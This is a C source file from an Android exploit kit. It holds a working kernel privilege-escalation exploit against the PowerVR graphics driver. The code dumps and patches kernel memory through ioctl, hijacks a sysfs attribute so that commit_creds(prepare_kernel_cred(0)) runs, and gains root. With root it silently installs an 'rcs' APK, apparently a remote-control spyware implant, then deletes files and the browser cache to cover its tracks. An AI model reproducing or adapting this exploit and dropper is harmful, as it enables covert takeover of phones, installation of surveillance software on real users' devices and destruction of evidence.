src/ht-android-shellcode/shared_object_eop/jni/lev_exp.c~
#include <curl/curl.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include "rcs_connection.h"
#define CONNECT_SERVICES 0xc01c670c
#define DUMP_SIZE 161920
typedef struct {
uint32_t ui32BridgeID;
uint32_t ui32Size;
void *pvParamIn;
uint32_t ui32InBufferSize;
void *pvParamOut;
uint32_t ui32OutBufferSize;
void * hKernelServices;
} PVRSRV_BRIDGE_PACKAGE;
typedef int (* _commit_creds)(unsigned long cred);
typedef unsigned long (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
ssize_t
fake_disk_ro_show(void *dev, void *attr, char *buf)
{
commit_creds(prepare_kernel_cred(0));
return sprintf(buf, "0wned\n");
}
struct attribute {
const char *name;
void *owner;
mode_t mode;
};
struct device_attribute {
struct attribute attr;
ssize_t (*show)(void *dev, void *attr, char *buf);
ssize_t (*store)(void *dev, void *attr, const char *buf, size_t count);
};
struct device_attribute fake_dev_attr_ro = {
.attr= {
.name = "ro",
.mode = S_IRWXU | S_IRWXG | S_IRWXO,
},
.show = fake_disk_ro_show,
.store = NULL,
};
static int copy(const char *from, const char *to)
{
int fd1, fd2;
char buf[0x1000];
int r = 0;
if ((fd1 = open(from, O_RDONLY)) < 0)
return -1;
if ((fd2 = open(to, O_RDWR|O_CREAT|O_TRUNC, 0600)) < 0) {
close(fd1);
return -1;
}
for (;;) {
r = read(fd1, buf, sizeof(buf));
if (r <= 0)
break;
if (write(fd2, buf, r) != r)
break;
}
close(fd1);
close(fd2);
sync(); sync();
return r;
}
unsigned long
get_symbol(char *name)
{
FILE *f;
unsigned long addr;
char dummy, sname[512];
int ret = 0;
f = fopen("/proc/kallsyms", "r");
if (!f) {
return 0;
}
while (ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
return addr;
}
}
return 0;
}
int
do_ioctl(int fd, void *in, unsigned int in_size, void *out, unsigned int out_size)
{
PVRSRV_BRIDGE_PACKAGE pkg;
memset(&pkg, 0, sizeof(pkg));
pkg.ui32BridgeID = CONNECT_SERVICES;
pkg.ui32Size = sizeof(pkg);
pkg.ui32InBufferSize = in_size;
pkg.pvParamIn = in;
pkg.ui32OutBufferSize = out_size;
pkg.pvParamOut = out;
return ioctl(fd, 0, &pkg);
}
int
main(int argc, char **argv)
{
DIR *dir;
struct dirent *dentry;
int fd, ret, found, trigger;
char *dump, *dump_end, buf[8], path[256], path2[128];
unsigned long dev_attr_ro, *ptr;
commit_creds = (_commit_creds) get_symbol("commit_creds");
if (!commit_creds)
exit(1);
prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
if (!prepare_kernel_cred)
exit(1);
dev_attr_ro = get_symbol("dev_attr_ro");
if (!dev_attr_ro)
exit(1);
fd = open("/dev/pvrsrvkm", O_RDWR);
if (fd == -1)
exit(1);
dump = malloc(DUMP_SIZE + 0x1000);
dump_end = dump + DUMP_SIZE + 0x1000;
memset(dump, 0, DUMP_SIZE + 0x1000);
ret = do_ioctl(fd, NULL, 0, dump + 0x1000, DUMP_SIZE - 0x1000);
if (ret == -1)
exit(1);
found = 0;
for (ptr = (unsigned long *) dump; ptr < (unsigned long *) dump_end; ++ptr) {
if (*ptr == dev_attr_ro) {
*ptr = (unsigned long) &fake_dev_attr_ro;
found++;
}
}
if (found == 0)
exit(1);
ret = do_ioctl(fd, dump, DUMP_SIZE, NULL, 0);
if (ret == -1)
exit(1);
dir = opendir("/sys/block");
if (!dir)
exit(1);
found = 0;
while ((dentry = readdir(dir)) != NULL) {
if (strcmp(dentry->d_name, ".") == 0 || strcmp(dentry->d_name, "..") == 0) {
continue;
}
snprintf(path, sizeof(path), "/sys/block/%s/ro", dentry->d_name);
trigger = open(path, O_RDONLY);
if (trigger == -1)
exit(1);
memset(buf, 0, sizeof(buf));
ret = read(trigger, buf, sizeof(buf));
close(trigger);
if (strcmp(buf, "0wned\n") == 0) {
found = 1;
break;
}
}
if (found == 0)
exit(1);
ret = do_ioctl(fd, NULL, 0, dump + 0x1000, DUMP_SIZE - 0x1000);
if (ret == -1)
exit(1);
found = 0;
for (ptr = (unsigned long *) dump; ptr < (unsigned long *) dump_end; ++ptr) {
if (*ptr == (unsigned long) &fake_dev_attr_ro) {
*ptr = (unsigned long) dev_attr_ro;
found++;
}
}
if (found == 0)
exit(1);
ret = do_ioctl(fd, dump, DUMP_SIZE, NULL, 0);
if (ret == -1)
exit(1);
if (getuid() != 0)
exit(1);
// Copy rcs in a gool directory
memset(path, 0, sizeof(path));
getcwd(path, sizeof(path));
strcat(path, "/");
strcat(path, rcsname);
memset(path2, 0, sizeof(path2));
snprintf(path2, sizeof(path2), "%s%s", rcspath, rcsname);
copy(path, path2);
chmod(path2, 0777);
// Install rcs apk
memset(path, 0, sizeof(path));
snprintf(path, sizeof(path), "pm install %s", path2);
system(path);
// Clean up
remove(path2); // rcs apk
memset(path, 0, sizeof(path));
memset(path2, 0, sizeof(path2));
getcwd(path, sizeof(path));
snprintf(path2, sizeof(path2), "rm -R %s/ *", path);
system(path2); // Browser cache
return 0;
}